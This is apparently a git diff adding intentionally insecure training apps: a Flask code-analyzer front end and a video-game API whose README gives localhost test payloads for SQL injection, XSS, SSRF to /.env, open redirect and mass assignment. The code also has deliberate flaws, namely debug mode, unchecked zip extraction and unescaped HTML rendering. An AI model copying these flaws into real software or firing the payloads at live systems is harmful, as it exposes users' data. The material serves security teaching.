+                        zip_ref.extractall(temp_dir)
+                    logger.info("Extracted zip file contents")
+                    
+                    # Start analysis in a separate thread
+                    thread = threading.Thread(target=run_async_analysis, args=(temp_dir, analysis_id))
+                    thread.start()
+                    logger.info(f"Started analysis thread for ID: {analysis_id}")
+                    
+                    return jsonify({'analysis_id': analysis_id})
+                except Exception as e:
+                    error_msg = f"Error processing file: {str(e)}\n{traceback.format_exc()}"
+                    logger.error(error_msg)
+                    return jsonify({'error': error_msg}), 500
+            
+            return jsonify({'error': 'Invalid file type'}), 400
+        
+        return jsonify({'error': 'No code or file provided'}), 400
+    except Exception as e:
+        error_msg = f"Unexpected error in analyze endpoint: {str(e)}\n{traceback.format_exc()}"
+        logger.error(error_msg)
+        return jsonify({'error': error_msg}), 500
+
+@app.route('/status/<analysis_id>')
+def get_status(analysis_id):
+    logger.debug(f"Status check for analysis ID: {analysis_id}")
+    if analysis_id not in analysis_status:
+        logger.warning(f"Analysis ID not found: {analysis_id}")
+        return jsonify({'error': 'Analysis ID not found'}), 404
+    
+    status = analysis_status[analysis_id]
+    result = analysis_results.get(analysis_id) if status in ['completed', 'error'] else None
+    
+    logger.debug(f"Status for {analysis_id}: {status}")
+    return jsonify({
+        'status': status,
+        'result': result
+    })
+
+@app.route('/view/<analysis_id>')
+def view_result(analysis_id):
+    logger.debug(f"View request for analysis ID: {analysis_id}")
+    if analysis_id not in analysis_status:
+        logger.warning(f"Analysis ID not found: {analysis_id}")
+        return "Analysis not found", 404
+    
+    status = analysis_status[analysis_id]
+    if status not in ['completed', 'error']:
+        logger.info(f"Analysis {analysis_id} is still running")
+        return "Analysis is still running", 400
+    
+    result = analysis_results.get(analysis_id)
+    if not result:
+        logger.warning(f"No results available for analysis ID: {analysis_id}")
+        return "No results available", 404
+    
+    # Convert markdown to HTML
+    html_content = markdown.markdown(result, extensions=['fenced_code', 'tables'])
+    
+    return render_template('view.html', content=html_content)
+
+if __name__ == '__main__':
+    logger.info("Starting Flask application")
+    app.run(host='0.0.0.0', port=5000, debug=True) 
\ No newline at end of file
diff --git a/insecure-ai/requirements.txt b/insecure-ai/requirements.txt
new file mode 100644
index 0000000..2fb709b
--- /dev/null
+++ b/insecure-ai/requirements.txt
@@ -0,0 +1,8 @@
+flask==3.0.2
+latio==1.2.5
+python-magic==0.4.27
+Werkzeug==3.0.1 
+markdown==3.5.2
+graphviz==0.20.1
+gunicorn==23.0.0
+openai>=1.0.0
\ No newline at end of file
diff --git a/insecure-ai/templates/index.html b/insecure-ai/templates/index.html
new file mode 100644
index 0000000..07d5fcb
--- /dev/null
+++ b/insecure-ai/templates/index.html
@@ -0,0 +1,223 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Code Security Analyzer</title>
+    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
+    <script src="https://cdn.jsdelivr.net/npm/codemirror@5.65.2/lib/codemirror.js"></script>
+    <script src="https://cdn.jsdelivr.net/npm/codemirror@5.65.2/mode/python/python.js"></script>
+    <link href="https://cdn.jsdelivr.net/npm/codemirror@5.65.2/lib/codemirror.css" rel="stylesheet">
+    <!-- Add marked.js for markdown rendering -->
+    <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
+    <!-- Add highlight.js for code syntax highlighting -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/github.min.css">
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script>
+    <style>
+        .loading-spinner {
+            border: 4px solid #f3f3f3;
+            border-top: 4px solid #3498db;
+            border-radius: 50%;
+            width: 40px;
+            height: 40px;
+            animation: spin 1s linear infinite;
+            margin: 20px auto;
+        }
+        @keyframes spin {
+            0% { transform: rotate(0deg); }
+            100% { transform: rotate(360deg); }
+        }
+        .loading-text {
+            color: #666;
+            text-align: center;
+            margin-top: 10px;
+        }
+        /* Markdown styles */
+        .markdown-content {
+            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
+            line-height: 1.6;
+            color: #24292e;
+        }
+        .markdown-content h1 { font-size: 2em; margin-bottom: 0.5em; }
+        .markdown-content h2 { font-size: 1.5em; margin-bottom: 0.5em; }
+        .markdown-content h3 { font-size: 1.25em; margin-bottom: 0.5em; }
+        .markdown-content p { margin-bottom: 1em; }
+        .markdown-content code {
+            background-color: #f6f8fa;
+            padding: 0.2em 0.4em;
+            border-radius: 3px;
+            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
+        }
+        .markdown-content pre {
+            background-color: #f6f8fa;
+            padding: 1em;
+            border-radius: 6px;
+            overflow-x: auto;
+        }
+        .markdown-content pre code {
+            background-color: transparent;
+            padding: 0;
+        }
+        .markdown-content ul, .markdown-content ol {
+            margin-bottom: 1em;
+            padding-left: 1.5em;
+        }
+        .markdown-content li {
+            margin-bottom: 0.5em;
+        }
+        .markdown-content blockquote {
+            border-left: 4px solid #dfe2e5;
+            padding-left: 1em;
+            margin-left: 1em;
+            color: #6a737d;
+        }
+    </style>
+</head>
+<body class="bg-gray-100 min-h-screen">
+    <div class="container mx-auto px-4 py-8">
+        <h1 class="text-4xl font-bold text-center mb-8 text-gray-800">Code Security Analyzer</h1>
+        
+        <div class="bg-white rounded-lg shadow-lg p-6 mb-6">
+            <h2 class="text-2xl font-semibold mb-4 text-gray-700">Analyze Your Code</h2>
+            
+            <div class="mb-6">
+                <label class="block text-gray-700 text-sm font-bold mb-2" for="code">
+                    Paste your code here:
+                </label>
+                <textarea id="code" class="w-full h-64 p-4 border rounded-lg focus:outline-none focus:ring-2 focus:ring-blue-500"></textarea>
+            </div>
+            
+            <div class="mb-6">
+                <label class="block text-gray-700 text-sm font-bold mb-2">
+                    Or upload a ZIP file:
+                </label>
+                <input type="file" id="file" accept=".zip" class="w-full p-2 border rounded-lg focus:outline-none focus:ring-2 focus:ring-blue-500">
+            </div>
+            
+            <button onclick="analyzeCode()" id="analyze-btn" class="w-full bg-blue-500 text-white font-bold py-2 px-4 rounded-lg hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-opacity-50">
+                Analyze Code
+            </button>
+        </div>
+        
+        <div id="loading" class="hidden">
+            <div class="loading-spinner"></div>
+            <div class="loading-text">Analyzing your code... This may take a few minutes.</div>
+        </div>
+        
+        <div id="result" class="bg-white rounded-lg shadow-lg p-6 hidden">
+            <div class="flex justify-between items-center mb-4">
+                <h2 class="text-2xl font-semibold text-gray-700">Analysis Results</h2>
+                <button onclick="openInNewTab()" class="bg-green-500 text-white font-bold py-2 px-4 rounded-lg hover:bg-green-600 focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50">
+                    View in New Tab
+                </button>
+            </div>
+            <div id="result-content" class="markdown-content"></div>
+        </div>
+    </div>
+
+    <script>
+        // Initialize CodeMirror
+        var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
+            mode: "python",
+            lineNumbers: true,
+            theme: "default",
+            lineWrapping: true
+        });
+
+        let statusCheckInterval;
+        let currentAnalysisId = null;
+
+        // Configure marked.js
+        marked.setOptions({
+            highlight: function(code, lang) {
+                if (lang && hljs.getLanguage(lang)) {
+                    return hljs.highlight(code, { language: lang }).value;
+                }
+                return hljs.highlightAuto(code).value;
+            },
+            breaks: true
+        });
+
+        function checkStatus(analysisId) {
+            fetch(`{{ url_for('get_status', analysis_id='') }}${analysisId}`)
+                .then(response => response.json())
+                .then(data => {
+                    if (data.status === 'completed' || data.status === 'error') {
+                        clearInterval(statusCheckInterval);
+                        document.getElementById('loading').classList.add('hidden');
+                        document.getElementById('analyze-btn').disabled = false;
+                        
+                        const resultDiv = document.getElementById('result');
+                        const resultContent = document.getElementById('result-content');
+                        
+                        if (data.status === 'error') {
+                            resultContent.innerHTML = `<div class="text-red-600">Error: ${data.result}</div>`;
+                        } else {
+                            resultContent.innerHTML = marked.parse(data.result);
+                            // Apply syntax highlighting to code blocks
+                            resultContent.querySelectorAll('pre code').forEach((block) => {
+                                hljs.highlightBlock(block);
+                            });
+                        }
+                        
+                        resultDiv.classList.remove('hidden');
+                        currentAnalysisId = analysisId;
+                    }
+                })
+                .catch(error => {
+                    console.error('Error:', error);
+                    clearInterval(statusCheckInterval);
+                    document.getElementById('loading').classList.add('hidden');
+                    document.getElementById('analyze-btn').disabled = false;
+                    alert('An error occurred while checking the analysis status');
+                });
+        }
+
+        function openInNewTab() {
+            if (currentAnalysisId) {
+                window.open(`{{ url_for('view_result', analysis_id='') }}${currentAnalysisId}`, '_blank');
+            }
+        }
+
+        function analyzeCode() {
+            const code = editor.getValue();
+            const fileInput = document.getElementById('file');
+            const formData = new FormData();
+            
+            if (code.trim()) {
+                formData.append('code', code);
+            } else if (fileInput.files.length > 0) {
+                formData.append('file', fileInput.files[0]);
+            } else {
+                alert('Please provide either code or a file to analyze');
+                return;
+            }
+
+            // Show loading state
+            document.getElementById('loading').classList.remove('hidden');
+            document.getElementById('analyze-btn').disabled = true;
+            document.getElementById('result').classList.add('hidden');
+
+            fetch('{{ url_for("analyze") }}', {
+                method: 'POST',
+                body: formData
+            })
+            .then(response => response.json())
+            .then(data => {
+                if (data.error) {
+                    throw new Error(data.error);
+                }
+                
+                // Start polling for status
+                statusCheckInterval = setInterval(() => checkStatus(data.analysis_id), 2000);
+            })
+            .catch(error => {
+                console.error('Error:', error);
+                document.getElementById('loading').classList.add('hidden');
+                document.getElementById('analyze-btn').disabled = false;
+                alert('An error occurred while starting the analysis');
+            });
+        }
+    </script>
+</body>
+</html> 
\ No newline at end of file
diff --git a/insecure-ai/templates/view.html b/insecure-ai/templates/view.html
new file mode 100644
index 0000000..9810a7b
--- /dev/null
+++ b/insecure-ai/templates/view.html
@@ -0,0 +1,81 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Analysis Results</title>
+    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
+    <!-- Add marked.js for markdown rendering -->
+    <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
+    <!-- Add highlight.js for code syntax highlighting -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/github.min.css">
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script>
+    <style>
+        /* Markdown styles */
+        .markdown-content {
+            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
+            line-height: 1.6;
+            color: #24292e;
+            max-width: 800px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .markdown-content h1 { font-size: 2em; margin-bottom: 0.5em; }
+        .markdown-content h2 { font-size: 1.5em; margin-bottom: 0.5em; }
+        .markdown-content h3 { font-size: 1.25em; margin-bottom: 0.5em; }
+        .markdown-content p { margin-bottom: 1em; }
+        .markdown-content code {
+            background-color: #f6f8fa;
+            padding: 0.2em 0.4em;
+            border-radius: 3px;
+            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
+        }
+        .markdown-content pre {
+            background-color: #f6f8fa;
+            padding: 1em;
+            border-radius: 6px;
+            overflow-x: auto;
+        }
+        .markdown-content pre code {
+            background-color: transparent;
+            padding: 0;
+        }
+        .markdown-content ul, .markdown-content ol {
+            margin-bottom: 1em;
+            padding-left: 1.5em;
+        }
+        .markdown-content li {
+            margin-bottom: 0.5em;
+        }
+        .markdown-content blockquote {
+            border-left: 4px solid #dfe2e5;
+            padding-left: 1em;
+            margin-left: 1em;
+            color: #6a737d;
+        }
+    </style>
+</head>
+<body class="bg-gray-50">
+    <div class="markdown-content">
+        {{ content | safe }}
+    </div>
+
+    <script>
+        // Configure marked.js
+        marked.setOptions({
+            highlight: function(code, lang) {
+                if (lang && hljs.getLanguage(lang)) {
+                    return hljs.highlight(code, { language: lang }).value;
+                }
+                return hljs.highlightAuto(code).value;
+            },
+            breaks: true
+        });
+
+        // Apply syntax highlighting to code blocks
+        document.querySelectorAll('pre code').forEach((block) => {
+            hljs.highlightBlock(block);
+        });
+    </script>
+</body>
+</html> 
\ No newline at end of file
diff --git a/insecure-api/Dockerfile b/insecure-api/Dockerfile
new file mode 100644
index 0000000..f227f47
--- /dev/null
+++ b/insecure-api/Dockerfile
@@ -0,0 +1,24 @@
+# Use an official Python runtime as a parent image
+FROM python:3.9-slim
+
+# Set the working directory in the container
+WORKDIR /app
+
+# Copy only the requirements.txt first
+COPY requirements.txt /app/requirements.txt
+
+# Install dependencies
+RUN pip install --no-cache-dir --upgrade pip \
+    && pip install --no-cache-dir -r requirements.txt
+
+# Then copy the rest of the application
+COPY . /app
+
+# Expose port 8000 for the app to run on
+EXPOSE 8000
+
+# Define environment variable
+ENV PYTHONUNBUFFERED=1
+
+# Run the command to start Uvicorn
+CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]
diff --git a/insecure-api/README b/insecure-api/README
new file mode 100644
index 0000000..dda32e1
--- /dev/null
+++ b/insecure-api/README
@@ -0,0 +1,280 @@
+# **Intentionally Insecure Video Game API**
+
+This project is an intentionally insecure API designed for educational purposes to demonstrate common security vulnerabilities as outlined in the OWASP Top 10 for APIs. The API provides information about video games and includes administrative functions that are vulnerable to various security flaws.
+
+---
+
+## **Table of Contents**
+
+* Features  
+* Prerequisites  
+* Setup and Installation  
+* Running the API  
+* API Endpoints  
+* Testing Security Issues  
+  * Vulnerability 1: Broken Object Level Authorization  
+  * Vulnerability 2: Broken Authentication  
+  * Vulnerability 3: Excessive Data Exposure  
+  * Vulnerability 4: Security Misconfiguration  
+  * Vulnerability 5: Lack of Rate Limiting  
+* Example CURL Commands  
+* Disclaimer
+
+---
+
+## **Features**
+
+* **Public Access:**  
+  * Retrieve basic information about video games (developer, publisher, year published).  
+* **Authentication (Insecure):**  
+  * Access sensitive sales data for video games.  
+  * Administrative functions to add new video games (requires admin token).  
+* **Intentionally Insecure Aspects:**  
+  * Exposes vulnerabilities from the OWASP Top 10 for APIs.  
+  * Comments in the code indicate where vulnerabilities are present.
+
+---
+
+## **Prerequisites**
+
+* **Python 3.7+**  
+* **pip package manager**
+
+---
+
+## **Setup and Installation**
+
+### **1\. Clone the Repository**
+    
+```
+git clone https://github.com/yourusername/insecure-api.git  
+cd insecure-api
+```
+
+### **2\. Create a Virtual Environment**
+
+```    
+# Create virtual environment
+python -m venv venv
+# Activate virtual environment
+# On Windows:
+venv\Scripts\activate
+# On Unix or MacOS
+source venv/bin/activate
+```
+
+### **3\. Install Dependencies**
+
+```
+pip install -r requirements.txt
+
+*If requirements.txt is not present, install directly:*
+    
+pip install fastapi uvicorn
+```
+---
+
+## **Running the API**
+
+Start the API server using Uvicorn:
+    
+`uvicorn main:app --reload`
+
+* **Note:** The `--reload` flag enables auto-reloading of the server on code changes, but it is not recommended for production environments.
+
+---
+
+## **API Endpoints**
+
+### **Public Endpoints**
+
+* **GET** `/games`  
+  Retrieve a list of video games with basic information.
+* **GET** `/docs`   
+  OpenAPI docs
+
+### **Protected Endpoints (Insecure Authentication)**
+
+* **GET** `/games/{game_id}/sales`  
+  Retrieve sales data for a specific game (no authentication required).  
+* **POST** `/games`  
+  Add a new video game to the database (requires admin token).  
+* **GET** `/users`  
+  Retrieve user information, including tokens and admin status.
+
+---
+
+## **Testing Security Issues**
+
+Below are some of the security vulnerabilities present in the API and how to test them.
+
+### **Vulnerability 1: Broken Object Level Authorization**
+
+**Issue:** The goal of this app is that someone needs to buy a paid account in order to access sales data. We don't actually check for the login before presenting that data. This is important because it's something scanners can't check for without application context!
+
+**Endpoint:** `GET /games/{game_id}/sales`
+
+**Testing:**
+    
+`curl -X GET "http://127.0.0.1:8000/games/1/sales"`
+
+---
+
+### **Vulnerability 2: Broken Authentication**
+
+**Issue:** Uses a static header to determine if a user is allowed to create a game or not
+
+**Endpoint:** `POST /games`
+
+**Testing:**
+
+**Without Token:**      
+```
+curl -X POST "http://127.0.0.1:8000/games" \
+     -H "Content-Type: application/json" \
+     -d '{"id":151,"title":"New Game","developer":"Dev","publisher":"Pub","year_published":2024,"sales":0}'
+```
+
+**With User Token (Non-Admin):**    
+```  
+curl -X POST "http://127.0.0.1:8000/games" \
+     -H "Content-Type: application/json" \
+     -H "token: user1token" \
+     -d '{"id":151,"title":"New Game","developer":"Dev","publisher":"Pub","year_published":2024,"sales":0}'
+```
+
+**With Admin Token:**
+```      
+curl -X POST "http://127.0.0.1:8000/games" \
+     -H "Content-Type: application/json" \
+     -H "token: admintoken" \
+     -d '{"id":151,"title":"New Game","developer":"Dev","publisher":"Pub","year_published":2024,"sales":0}'
+```
+---
+
+### **Vulnerability 3: Excessive Data Exposure**
+
+**Issue:** Returns the entire user list, including tokens and admin status.
+
+**Endpoint:** `GET /users`
+
+**Testing:**
+    
+`curl -X GET "http://127.0.0.1:8000/users"`
+
+---
+
+### **Vulnerability 4: Security Misconfiguration**
+
+**Issue:** The API runs with debug mode enabled and does not enforce HTTPS.
+
+* The API is accessible via HTTP, allowing potential interception of data.  
+* The OpenAPI documentation is exposed at `/docs`.
+
+**Testing:**
+
+Access the API documentation:      
+`Open a browser and navigate to http://127.0.0.1:8000/docs`
+
+* 
+
+---
+
+### **Vulnerability 5: Lack of Rate Limiting**
+
+**Issue:** No rate limiting is implemented, making the API susceptible to brute-force attacks.
+
+**Testing:**
+
+Perform multiple rapid requests to an endpoint:
+```
+for i in {1..100}; do  
+  curl -X GET "http://127.0.0.1:8000/games/1/sales"  
+done
+```
+---
+
+### **Vulnerability 6: Mass Assignment**
+
+**Endpoint: `/games/{game_id}`**
+
+**Issue:** Allows updating fields that should be immutable or restricted
+
+**Example CURL Command:**
+```
+curl -X PUT "http://127.0.0.1:8000/games/1" \
+-H "Content-Type: application/json" \
+-d '{"id":1,"title":"Hacked Game","developer":"Bad Dev","publisher":"Bad Pub","year_published":2024,"sales":9999999}'
+```
+
+### **Vulnerability 7: SQL Injection**
+
+**Endpoint: `/search`**
+
+**Issue:** Unsanitized input could lead to injection attacks.
+
+`curl -X GET "http://127.0.0.1:8000/search?query=%27%20OR%20%271%27%3D%271%27%20--%20"`
+
+### **Vulnerability 8.: Improper Assets Management**
+
+**Endpoint: `/.env`**
+
+**Issue:** Exposes sensitive configuration files.
+
+**Example CURL Command:**
+
+`curl -X GET "http://127.0.0.1:8000/.env"`
+
+### **Vulnerability 9: Insufficient Logging & Monitoring**
+
+**Endpoint: `/admin/delete_game`**
+
+**Issue:** Administrative actions are not logged.
+```
+curl -X POST "http://127.0.0.1:8000/admin/delete_game" \
+-H "token: admintoken" \
+-d "game_id=1"
+```
+---
+XSS
+
+```
+curl -X POST "http://127.0.0.1:8000/feedback" \
+     -d "feedback=<script>alert('XSS')</script>"
+```
+---
+IDOR
+```
+curl -X GET "http://127.0.0.1:8000/user_profile?user_id=1"
+```
+CSRF
+```
+curl -X GET "http://127.0.0.1:8000/fetch_url?url=http://localhost:8000/.env"
+```
+---
+Redirects
+```
+curl -X GET "http://127.0.0.1:8000/redirect?next=http://malicious-site.com"
+```
+---
+Error
+```
+curl -X GET "http://127.0.0.1:8000/games/error"
+```
+---
+
+## **Disclaimer**
+
+**This API is intentionally insecure and should NOT be used in production environments. It is designed solely for educational purposes to demonstrate common security vulnerabilities. Use this API responsibly and ethically.**
+
+---
+
+## **Important Notes**
+
+* **Educational Use Only:** This project is intended to help developers learn about API security vulnerabilities in a controlled environment.  
+* **Do Not Deploy Publicly:** Running this API on a public server can expose you and others to security risks.  
+* **Legal and Ethical Responsibility:** Ensure you comply with all applicable laws and ethical guidelines when using or modifying this code.
+
+---
+
+**Thank you for using this educational API to enhance your understanding of API security\!**
diff --git a/insecure-api/database.py b/insecure-api/database.py
new file mode 100644
index 0000000..8677c46
--- /dev/null
+++ b/insecure-api/database.py
@@ -0,0 +1,161 @@
+from models import VideoGame, User
+
+# Simulated database
+video_games = [
+    VideoGame(id=1, title="The Legend of Zelda: Breath of the Wild", developer="Nintendo EPD", publisher="Nintendo", year_published=2017, sales=25_000_000),
+    VideoGame(id=2, title="Super Mario Odyssey", developer="Nintendo EPD", publisher="Nintendo", year_published=2017, sales=21_000_000),
+    VideoGame(id=3, title="Red Dead Redemption 2", developer="Rockstar Studios", publisher="Rockstar Games", year_published=2018, sales=50_000_000),
+    VideoGame(id=4, title="God of War", developer="Santa Monica Studio", publisher="Sony Interactive Entertainment", year_published=2018, sales=19_500_000),
+    VideoGame(id=5, title="Marvel's Spider-Man", developer="Insomniac Games", publisher="Sony Interactive Entertainment", year_published=2018, sales=20_000_000),
+    VideoGame(id=6, title="Grand Theft Auto V", developer="Rockstar North", publisher="Rockstar Games", year_published=2013, sales=150_000_000),
+    VideoGame(id=7, title="Minecraft", developer="Mojang Studios", publisher="Xbox Game Studios", year_published=2011, sales=238_000_000),
+    VideoGame(id=8, title="Fortnite", developer="Epic Games", publisher="Epic Games", year_published=2017, sales=0),  # Free-to-play
+    VideoGame(id=9, title="Call of Duty: Modern Warfare", developer="Infinity Ward", publisher="Activision", year_published=2019, sales=30_000_000),
+    VideoGame(id=10, title="Apex Legends", developer="Respawn Entertainment", publisher="Electronic Arts", year_published=2019, sales=0),  # Free-to-play
+    VideoGame(id=11, title="Animal Crossing: New Horizons", developer="Nintendo EPD", publisher="Nintendo", year_published=2020, sales=33_890_000),
+    VideoGame(id=12, title="Cyberpunk 2077", developer="CD Projekt Red", publisher="CD Projekt", year_published=2020, sales=13_700_000),
+    VideoGame(id=13, title="Halo Infinite", developer="343 Industries", publisher="Xbox Game Studios", year_published=2021, sales=1_000_000),
+    VideoGame(id=14, title="Doom Eternal", developer="id Software", publisher="Bethesda Softworks", year_published=2020, sales=3_000_000),
+    VideoGame(id=15, title="The Last of Us Part II", developer="Naughty Dog", publisher="Sony Interactive Entertainment", year_published=2020, sales=10_000_000),
+    VideoGame(id=16, title="FIFA 21", developer="EA Vancouver", publisher="Electronic Arts", year_published=2020, sales=20_000_000),
+    VideoGame(id=17, title="NBA 2K21", developer="Visual Concepts", publisher="2K Sports", year_published=2020, sales=8_000_000),
+    VideoGame(id=18, title="Assassin's Creed Valhalla", developer="Ubisoft Montreal", publisher="Ubisoft", year_published=2020, sales=12_000_000),
+    VideoGame(id=19, title="Ghost of Tsushima", developer="Sucker Punch Productions", publisher="Sony Interactive Entertainment", year_published=2020, sales=6_500_000),
+    VideoGame(id=20, title="Hades", developer="Supergiant Games", publisher="Supergiant Games", year_published=2020, sales=1_000_000),
+    VideoGame(id=21, title="Resident Evil Village", developer="Capcom", publisher="Capcom", year_published=2021, sales=5_000_000),
+    VideoGame(id=22, title="Monster Hunter: World", developer="Capcom", publisher="Capcom", year_published=2018, sales=17_000_000),
+    VideoGame(id=23, title="Super Smash Bros. Ultimate", developer="Bandai Namco Studios/Sora Ltd.", publisher="Nintendo", year_published=2018, sales=25_710_000),
+    VideoGame(id=24, title="Mario Kart 8 Deluxe", developer="Nintendo EPD", publisher="Nintendo", year_published=2017, sales=38_740_000),
+    VideoGame(id=25, title="Pokémon Sword and Shield", developer="Game Freak", publisher="Nintendo", year_published=2019, sales=22_640_000),
+    VideoGame(id=26, title="Fall Guys", developer="Mediatonic", publisher="Devolver Digital", year_published=2020, sales=11_000_000),
+    VideoGame(id=27, title="Among Us", developer="InnerSloth", publisher="InnerSloth", year_published=2018, sales=3_000_000),
+    VideoGame(id=28, title="Death Stranding", developer="Kojima Productions", publisher="Sony Interactive Entertainment", year_published=2019, sales=5_000_000),
+    VideoGame(id=29, title="Sekiro: Shadows Die Twice", developer="FromSoftware", publisher="Activision", year_published=2019, sales=5_000_000),
+    VideoGame(id=30, title="Control", developer="Remedy Entertainment", publisher="505 Games", year_published=2019, sales=2_000_000),
+    VideoGame(id=31, title="Horizon Zero Dawn", developer="Guerrilla Games", publisher="Sony Interactive Entertainment", year_published=2017, sales=10_000_000),
+    VideoGame(id=32, title="Cuphead", developer="Studio MDHR", publisher="Studio MDHR", year_published=2017, sales=6_000_000),
+    VideoGame(id=33, title="The Witcher 3: Wild Hunt", developer="CD Projekt Red", publisher="CD Projekt", year_published=2015, sales=30_000_000),
+    VideoGame(id=34, title="Overwatch", developer="Blizzard Entertainment", publisher="Blizzard Entertainment", year_published=2016, sales=50_000_000),
+    VideoGame(id=35, title="Dark Souls III", developer="FromSoftware", publisher="Bandai Namco Entertainment", year_published=2016, sales=10_000_000),
+    VideoGame(id=36, title="Bloodborne", developer="FromSoftware", publisher="Sony Interactive Entertainment", year_published=2015, sales=2_000_000),
+    VideoGame(id=37, title="Rocket League", developer="Psyonix", publisher="Psyonix", year_published=2015, sales=10_500_000),
+    VideoGame(id=38, title="Destiny 2", developer="Bungie", publisher="Bungie", year_published=2017, sales=1_000_000),
+    VideoGame(id=39, title="Battlefield V", developer="EA DICE", publisher="Electronic Arts", year_published=2018, sales=7_300_000),
+    VideoGame(id=40, title="Far Cry 5", developer="Ubisoft Montreal", publisher="Ubisoft", year_published=2018, sales=5_000_000),
+    VideoGame(id=41, title="The Elder Scrolls V: Skyrim", developer="Bethesda Game Studios", publisher="Bethesda Softworks", year_published=2011, sales=30_000_000),
+    VideoGame(id=42, title="Metal Gear Solid V: The Phantom Pain", developer="Kojima Productions", publisher="Konami", year_published=2015, sales=6_000_000),
+    VideoGame(id=43, title="No Man's Sky", developer="Hello Games", publisher="Hello Games", year_published=2016, sales=2_000_000),
+    VideoGame(id=44, title="Stardew Valley", developer="ConcernedApe", publisher="ConcernedApe", year_published=2016, sales=15_000_000),
+    VideoGame(id=45, title="Persona 5", developer="Atlus", publisher="Atlus", year_published=2016, sales=3_200_000),
+    VideoGame(id=46, title="Resident Evil 2", developer="Capcom", publisher="Capcom", year_published=2019, sales=10_000_000),
+    VideoGame(id=47, title="Resident Evil 3", developer="Capcom", publisher="Capcom", year_published=2020, sales=4_000_000),
+    VideoGame(id=48, title="Borderlands 3", developer="Gearbox Software", publisher="2K Games", year_published=2019, sales=14_000_000),
+    VideoGame(id=49, title="Final Fantasy VII Remake", developer="Square Enix Business Division 1", publisher="Square Enix", year_published=2020, sales=5_000_000),
+    VideoGame(id=50, title="The Outer Worlds", developer="Obsidian Entertainment", publisher="Private Division", year_published=2019, sales=3_000_000),
+    VideoGame(id=51, title="Ori and the Will of the Wisps", developer="Moon Studios", publisher="Xbox Game Studios", year_published=2020, sales=2_000_000),
+    VideoGame(id=52, title="Genshin Impact", developer="miHoYo", publisher="miHoYo", year_published=2020, sales=0),  # Free-to-play
+    VideoGame(id=53, title="Valorant", developer="Riot Games", publisher="Riot Games", year_published=2020, sales=0),  # Free-to-play
+    VideoGame(id=54, title="Call of Duty: Warzone", developer="Infinity Ward/Raven Software", publisher="Activision", year_published=2020, sales=0),  # Free-to-play
+    VideoGame(id=55, title="PUBG: Battlegrounds", developer="PUBG Studios", publisher="Krafton", year_published=2017, sales=70_000_000),
+    VideoGame(id=56, title="Nier: Automata", developer="PlatinumGames", publisher="Square Enix", year_published=2017, sales=6_000_000),
+    VideoGame(id=57, title="Dead Cells", developer="Motion Twin", publisher="Motion Twin", year_published=2018, sales=5_000_000),
+    VideoGame(id=58, title="Hollow Knight", developer="Team Cherry", publisher="Team Cherry", year_published=2017, sales=3_000_000),
+    VideoGame(id=59, title="Celeste", developer="Maddy Makes Games", publisher="Matt Makes Games", year_published=2018, sales=1_000_000),
+    VideoGame(id=60, title="Dishonored 2", developer="Arkane Studios", publisher="Bethesda Softworks", year_published=2016, sales=2_500_000),
+    VideoGame(id=61, title="Fire Emblem: Three Houses", developer="Intelligent Systems/Koei Tecmo", publisher="Nintendo", year_published=2019, sales=3_000_000),
+    VideoGame(id=62, title="Crash Bandicoot N. Sane Trilogy", developer="Vicarious Visions", publisher="Activision", year_published=2017, sales=10_000_000),
+    VideoGame(id=63, title="Spyro Reignited Trilogy", developer="Toys for Bob", publisher="Activision", year_published=2018, sales=2_000_000),
+    VideoGame(id=64, title="Subnautica", developer="1_000_000 Worlds Entertainment", publisher="1_000_000 Worlds Entertainment", year_published=2018, sales=5_000_000),
+    VideoGame(id=65, title="Terraria", developer="Re-Logic", publisher="Re-Logic", year_published=2011, sales=35_000_000),
+    VideoGame(id=66, title="League of Legends", developer="Riot Games", publisher="Riot Games", year_published=2009, sales=0),  # Free-to-play
+    VideoGame(id=67, title="World of Warcraft", developer="Blizzard Entertainment", publisher="Blizzard Entertainment", year_published=2004, sales=14_000_000),
+    VideoGame(id=68, title="Dota 2", developer="Valve", publisher="Valve", year_published=2013, sales=0),  # Free-to-play
+    VideoGame(id=69, title="Team Fortress 2", developer="Valve", publisher="Valve", year_published=2007, sales=0),  # Free-to-play
+    VideoGame(id=70, title="Portal 2", developer="Valve", publisher="Valve", year_published=2011, sales=4_000_000),
+    VideoGame(id=71, title="Half-Life: Alyx", developer="Valve", publisher="Valve", year_published=2020, sales=2_000_000),
+    VideoGame(id=72, title="Among Us", developer="InnerSloth", publisher="InnerSloth", year_published=2018, sales=3_000_000),
+    VideoGame(id=73, title="Warframe", developer="Digital Extremes", publisher="Digital Extremes", year_published=2013, sales=0),  # Free-to-play
+    VideoGame(id=74, title="Path of Exile", developer="Grinding Gear Games", publisher="Grinding Gear Games", year_published=2013, sales=0),  # Free-to-play
+    VideoGame(id=75, title="Final Fantasy XIV", developer="Square Enix", publisher="Square Enix", year_published=2013, sales=24_000_000),
